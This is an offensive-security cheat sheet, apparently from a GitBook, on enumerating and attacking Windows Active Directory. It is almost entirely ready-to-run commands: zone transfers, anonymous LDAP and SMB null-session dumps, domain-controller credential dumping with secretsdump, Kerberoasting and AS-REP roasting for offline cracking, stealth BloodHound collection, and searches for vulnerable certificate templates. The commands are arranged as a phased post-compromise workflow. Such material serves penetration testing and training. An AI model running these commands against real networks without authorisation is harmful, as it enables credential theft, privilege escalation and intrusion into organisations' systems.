This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

Active Directory Enumeration

Non-Authenticated (External) Enumeration

DNS Reconnaissance

Purpose: Map domain infrastructure and discover services without credentials.

Zone Transfer Enumeration

# Standard zone transfer attempts
dig axfr @<DC-IP> <domain.com>
dnsrecon -d <domain.com> -t axfr

# Multiple DNS server attempts
for ns in $(dig +short NS <domain.com>); do
    dig axfr @$ns <domain.com>
done

# Alternative zone transfer tools
fierce -dns <domain.com>
dnsenum <domain.com>

Requirements: DNS server must allow zone transfers (AXFR queries)

Use Case: When DNS servers are misconfigured to allow zone transfers to any client

SRV Record Discovery

# Active Directory specific SRV records
dig SRV _ldap._tcp.dc._msdcs.<domain.com>
dig SRV _kerberos._tcp.dc._msdcs.<domain.com>
dig SRV _gc._tcp.<domain.com>
dig SRV _ldap._tcp.pdc._msdcs.<domain.com>
dig SRV _kpasswd._tcp.<domain.com>

# Additional service discovery
dig SRV _sip._tcp.<domain.com>
dig SRV _xmpp-server._tcp.<domain.com>
dig SRV _autodiscover._tcp.<domain.com>

# Automated SRV enumeration
python3 dns_srv_enum.py -d <domain.com>

Requirements: Standard DNS query access

Use Case: Always available - SRV records are publicly queryable and required for AD functionality

DNS Bruteforcing and Subdomain Discovery

# Subdomain enumeration
gobuster dns -d <domain.com> -w /usr/share/wordlists/subdomains.txt -t 50
subfinder -d <domain.com> -silent
amass enum -d <domain.com>

# Reverse DNS lookups
dnsrecon -r 192.168.1.0/24
nmap -sL 10.0.0.0/8 | grep "not scanned" | awk '{print $2}' | sort -u

# DNS cache snooping
dig @<DNS-server> <target-domain> A +norecurse

Requirements: Network access to DNS servers

Use Case: Discovery of additional services, development environments, and forgotten subdomains

LDAP Enumeration

LDAP Anonymous Binding

Purpose: Extract directory information when anonymous access is permitted.

Anonymous LDAP Queries

# Test anonymous binding capabilities
ldapsearch -x -h <DC-IP> -s base namingcontexts
ldapsearch -x -h <DC-IP> -s base defaultnamingcontext

# Extract base domain information
ldapsearch -x -h <DC-IP> -b "DC=domain,DC=com" "(objectClass=*)" -s base

# Anonymous user enumeration
ldapsearch -x -h <DC-IP> -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName description
ldapsearch -x -h <DC-IP> -b "DC=domain,DC=com" "(objectClass=person)" cn mail

# Anonymous group enumeration
ldapsearch -x -h <DC-IP> -b "DC=domain,DC=com" "(objectClass=group)" sAMAccountName member

Requirements: LDAP server configured to allow anonymous binds

Use Case: Legacy environments, misconfigured LDAP servers, or intentionally open directories

Automated Anonymous LDAP Extraction

# Complete anonymous domain dump
ldapdomaindump -u '' -p '' <DC-IP>
ldapdomaindump -u '' -p '' <DC-IP> --no-html --no-json --no-grep

# Alternative anonymous enumeration
enum4linux -a <DC-IP>
enum4linux -U -G -S -P <DC-IP>

Requirements: Anonymous LDAP access enabled

Use Case: When organizations maintain legacy compatibility or have misconfigured LDAP security

SMB/NetBIOS Enumeration

Purpose: Leverage SMB null sessions and NetBIOS for domain reconnaissance.

SMB Null Session Enumeration

# Basic SMB enumeration
smbclient -L //<DC-IP> -N
smbmap -H <DC-IP> -u '' -p ''

# RPC null session exploitation
rpcclient -U "" -N <DC-IP>
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> querydominfo
rpcclient> querydispinfo
rpcclient> enumdomains

Requirements: SMB server allows null sessions (RestrictAnonymous = 0)

Use Case: Windows 2000/2003 environments or systems with legacy compatibility settings

NetBIOS Information Gathering

# NetBIOS name resolution
nbtscan 192.168.1.0/24
nmblookup -A <target-IP>

# NetBIOS enumeration
enum4linux -n <DC-IP>
nmap -sU -p 137 --script nbstat <network-range>

# SNMP enumeration for NetBIOS info
snmpwalk -c public -v1 <DC-IP> 1.3.6.1.4.1.77.1.2.25

Requirements: NetBIOS over TCP/IP enabled, SNMP community strings (if using SNMP) Use Case: Internal network enumeration, legacy Windows environments


Authenticated (Post-Compromise) Enumeration

Complete Domain Structure Mapping

Purpose: Extract comprehensive AD objects and relationships for attack planning.

LDAP Domain Dump

# Complete authenticated domain extraction
ldapdomaindump -u '<domain>\<username>' -p '<password>' <DC-IP>
ldapdomaindump -u '<domain>\<username>' -p '<password>' <DC-IP> --html --json --grep
ldapdomaindump -u '<domain>\<username>' -p '<password>' <DC-IP> -o /tmp/domain_data/

# Alternative authentication methods
ldapdomaindump -u '<username>' -p '<password>' -d <domain.com> <DC-IP>
ldapdomaindump --hashes :<NTLM-hash> -u '<username>' -d <domain.com> <DC-IP>

Requirements: Valid domain credentials (user account) Use Case: Post-credential compromise, comprehensive domain mapping for attack planning

Credential Material Extraction

Purpose: Harvest authentication material for lateral movement and privilege escalation.

NTDS.dit and Registry Hive Extraction

# Complete credential dump from domain controller
python3 secretsdump.py <domain>/<username>:<password>@<DC-IP>
python3 secretsdump.py -hashes :<NTLM-hash> <domain>/<username>@<DC-IP>

# NTDS.dit specific extraction
python3 secretsdump.py <domain>/<username>:<password>@<DC-IP> -ntds
python3 secretsdump.py <domain>/<username>:<password>@<DC-IP> -ntds -history

# Registry hive extraction from member servers
python3 secretsdump.py <domain>/<username>:<password>@<target-IP> -sam -security -system

# Output formatting options
python3 secretsdump.py <domain>/<username>:<password>@<DC-IP> -outputfile creds -just-dc-ntlm
python3 secretsdump.py <domain>/<username>:<password>@<DC-IP> -just-dc-user <target-user>

Requirements: Administrative privileges on target system or DCSync rights for domain controllers Use Case: When you have admin access to systems or specific privileges like "Replicating Directory Changes"

Alternative Credential Extraction Methods

# Using different authentication methods
python3 secretsdump.py <domain>/<username> -hashes :<LM>:<NT> @<DC-IP>
python3 secretsdump.py <domain>/<username> -aesKey <AES-key> @<DC-IP>
python3 secretsdump.py <domain>/<username> -k -no-pass @<DC-IP>

# Kerberos ticket-based authentication
export KRB5CCNAME=/tmp/krb5cc_ticket
python3 secretsdump.py <domain>/<username>@<DC-IP> -k -no-pass

Requirements: Varies by method - Kerberos tickets, AES keys, or NTLM hashes Use Case: When you have alternative authentication material but not plaintext passwords

Service Account Discovery and Analysis

Purpose: Identify service accounts for Kerberoasting and AS-REP roasting attacks.

Kerberoasting Enumeration

# Basic SPN enumeration
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP>
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> -debug

# Request TGS tickets for cracking
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> -request
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> -request-user <target-user>

# Output format options
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> -request -format hashcat
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> -request -outputfile spns.txt

# Alternative authentication for Kerberoasting
python3 GetUserSPNs.py -hashes :<NTLM-hash> <domain>/<username> -dc-ip <DC-IP> -request

Requirements: Valid domain user credentials (any user can perform Kerberoasting) Use Case: Always applicable with domain credentials - service accounts are common targets

AS-REP Roasting

# Find accounts without pre-authentication
python3 GetNPUsers.py <domain>/<username>:<password> -dc-ip <DC-IP>
python3 GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <DC-IP> -no-pass

# Request AS-REP hashes
python3 GetNPUsers.py <domain>/<username>:<password> -dc-ip <DC-IP> -request
python3 GetNPUsers.py <domain>/<username>:<password> -dc-ip <DC-IP> -request -format hashcat

# Targeted AS-REP roasting
python3 GetNPUsers.py <domain>/<username>:<password> -dc-ip <DC-IP> -usersfile targets.txt

Requirements: Domain user credentials or list of usernames for unauthenticated attempts Use Case: When accounts have "Do not require Kerberos preauthentication" enabled

Privilege Escalation Path Discovery

Purpose: Map AD relationships for privilege escalation opportunities.

BloodHound Data Collection

# Comprehensive collection
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c all
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c all --zip

# Stealth collection modes
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c DCOnly
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c Group,LocalAdmin --stealth

# Specific collection types
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c Session,Group
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c Trusts,Container

# Alternative authentication methods
bloodhound-python --hashes :<NTLM-hash> -u <username> -d <domain.com> -dc-ip <DC-IP> -c all

Requirements: Domain user credentials, network access to domain controllers and targets Use Case: Mapping complex privilege relationships, planning privilege escalation paths

Multi-Protocol Information Gathering

Purpose: Leverage multiple protocols for comprehensive enumeration.

CrackMapExec Enumeration

# SMB-based enumeration
crackmapexec smb <DC-IP> -u '<username>' -p '<password>' --users
crackmapexec smb <DC-IP> -u '<username>' -p '<password>' --groups
crackmapexec smb <DC-IP> -u '<username>' -p '<password>' --shares
crackmapexec smb <DC-IP> -u '<username>' -p '<password>' --sessions
crackmapexec smb <DC-IP> -u '<username>' -p '<password>' --disks

# LDAP-based enumeration
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --users
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --groups
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --admin-count
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --trusted-for-delegation
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --password-not-required

# Advanced LDAP queries
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --kerberoasting
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --asreproast
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --gmsa

# Network-wide enumeration
crackmapexec smb 192.168.1.0/24 -u '<username>' -p '<password>' --shares
crackmapexec ldap 192.168.1.0/24 -u '<username>' -p '<password>' --users

Requirements: Valid domain credentials, network access to targets Use Case: Network-wide enumeration, multi-protocol correlation, bulk operations

Password Policy and Account Lockout Analysis

# Extract password policies
crackmapexec smb <DC-IP> -u '<username>' -p '<password>' --pass-pol
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --pass-pol

# Fine-grained password policy enumeration
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --fgpp

Requirements: Domain user credentials Use Case: Planning password attacks, understanding lockout thresholds

Security Identifier (SID) Analysis

Purpose: Enumerate objects through SID bruteforcing.

Comprehensive SID Enumeration

# Basic SID enumeration
python3 lookupsid.py <domain>/<username>:<password>@<DC-IP>
python3 lookupsid.py guest@<DC-IP>

# Custom SID ranges
python3 lookupsid.py <domain>/<username>:<password>@<DC-IP> 500-2000
python3 lookupsid.py <domain>/<username>:<password>@<DC-IP> 1000-5000

# Maximum SID discovery
python3 lookupsid.py <domain>/<username>:<password>@<DC-IP> | tail -1

Requirements: Valid credentials or guest access, RPC access to domain controllers Use Case: Discovering hidden accounts, service accounts, and non-standard objects

Advanced LDAP Enumeration

Purpose: Perform targeted queries for specific attack vectors.

Windapsearch Enumeration

# Basic enumeration
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password>

# Privileged user discovery
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --da
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --privileged-users

# Delegation enumeration
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --unconstrained-users
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --unconstrained-computers
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --constrained-users

# Computer enumeration
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --computers
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --dc

# Custom LDAP queries
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> \
  --custom "(&(objectClass=user)(servicePrincipalName=*))"
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> \
  --custom "(&(objectClass=computer)(operatingSystem=*Server*))"

Requirements: Domain user credentials, LDAP access to domain controllers Use Case: Targeted enumeration for specific attack vectors, custom queries

Certificate Authority and PKI Discovery

Purpose: Enumerate PKI infrastructure for certificate-based attacks.

Certipy Enumeration

# Basic CA discovery
certipy find -u <username>@<domain.com> -p <password> -dc-ip <DC-IP>
certipy find -u <username>@<domain.com> -p <password> -dc-ip <DC-IP> -stdout

# Vulnerable template discovery
certipy find -u <username>@<domain.com> -p <password> -dc-ip <DC-IP> -vulnerable
certipy find -u <username>@<domain.com> -p <password> -dc-ip <DC-IP> -vulnerable -stdout

# Specific CA targeting
certipy find -u <username>@<domain.com> -p <password> -ca <CA-name>
certipy find -u <username>@<domain.com> -p <password> -ca <CA-name> -template <template-name>

# Alternative authentication
certipy find -hashes :<NTLM-hash> -u <username>@<domain.com> -dc-ip <DC-IP>

Requirements: Domain user credentials, network access to Certificate Authority Use Case: When Active Directory Certificate Services (ADCS) is deployed

Application and Service Integration Discovery

Purpose: Identify integrated applications for additional attack surfaces.

Service-Specific Enumeration

# SQL Server discovery
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> | grep -i "mssql"
mssqlclient.py <domain>/<username>:<password>@<sql-server> -windows-auth

# Exchange discovery
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> | grep -i "exchange"
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> | grep -i "http"

# Web application services
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> | grep -i "http\|www"

# Additional service discovery
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> | grep -E "(ftp|ssh|vnc|rdp)"

Requirements: Domain user credentials Use Case: Identifying integrated applications and services for expanded attack surface

Trust Relationship Analysis

Purpose: Map trust relationships for cross-domain attacks.

Trust Enumeration

# Basic trust discovery
python3 getTrusts.py <domain>/<username>:<password> -dc-ip <DC-IP>

# Cross-domain enumeration
for domain in $(cat trusted_domains.txt); do
    echo "Enumerating $domain"
    python3 GetADUsers.py $domain/<username>:<password> -all -dc-ip <DC-IP>
    python3 GetUserSPNs.py $domain/<username>:<password> -dc-ip <DC-IP>
done

# Trust-specific BloodHound collection
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c Trusts

Requirements: Domain user credentials, network access to trusted domains Use Case: Multi-domain environments with established trust relationships

Systematic Enumeration Workflow

Phase 1: Baseline Intelligence Gathering

# Complete domain structure mapping
ldapdomaindump -u '<domain>\<username>' -p '<password>' <DC-IP> --html --json -o /tmp/enum/

# Multi-protocol correlation
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --users --groups --computers
crackmapexec smb <DC-IP> -u '<username>' -p '<password>' --shares --sessions

Phase 2: Credential and Secret Extraction

# Administrative access required
python3 secretsdump.py <domain>/<username>:<password>@<DC-IP> -outputfile /tmp/creds

# Service account targeting
python3 GetUserSPNs.py <domain>/<username>:<password> -dc-ip <DC-IP> -request -outputfile /tmp/kerberoast
python3 GetNPUsers.py <domain>/<username>:<password> -dc-ip <DC-IP> -request -outputfile /tmp/asrep

Phase 3: Privilege Escalation Mapping

# Relationship analysis
bloodhound-python -u <username> -p <password> -ns <DC-IP> -d <domain.com> -c all -o /tmp/bloodhound/

# Advanced enumeration
python3 windapsearch.py -d <domain.com> --dc-ip <DC-IP> -u <username> -p <password> --privileged-users
certipy find -u <username>@<domain.com> -p <password> -dc-ip <DC-IP> -vulnerable

Last updated

Was this helpful?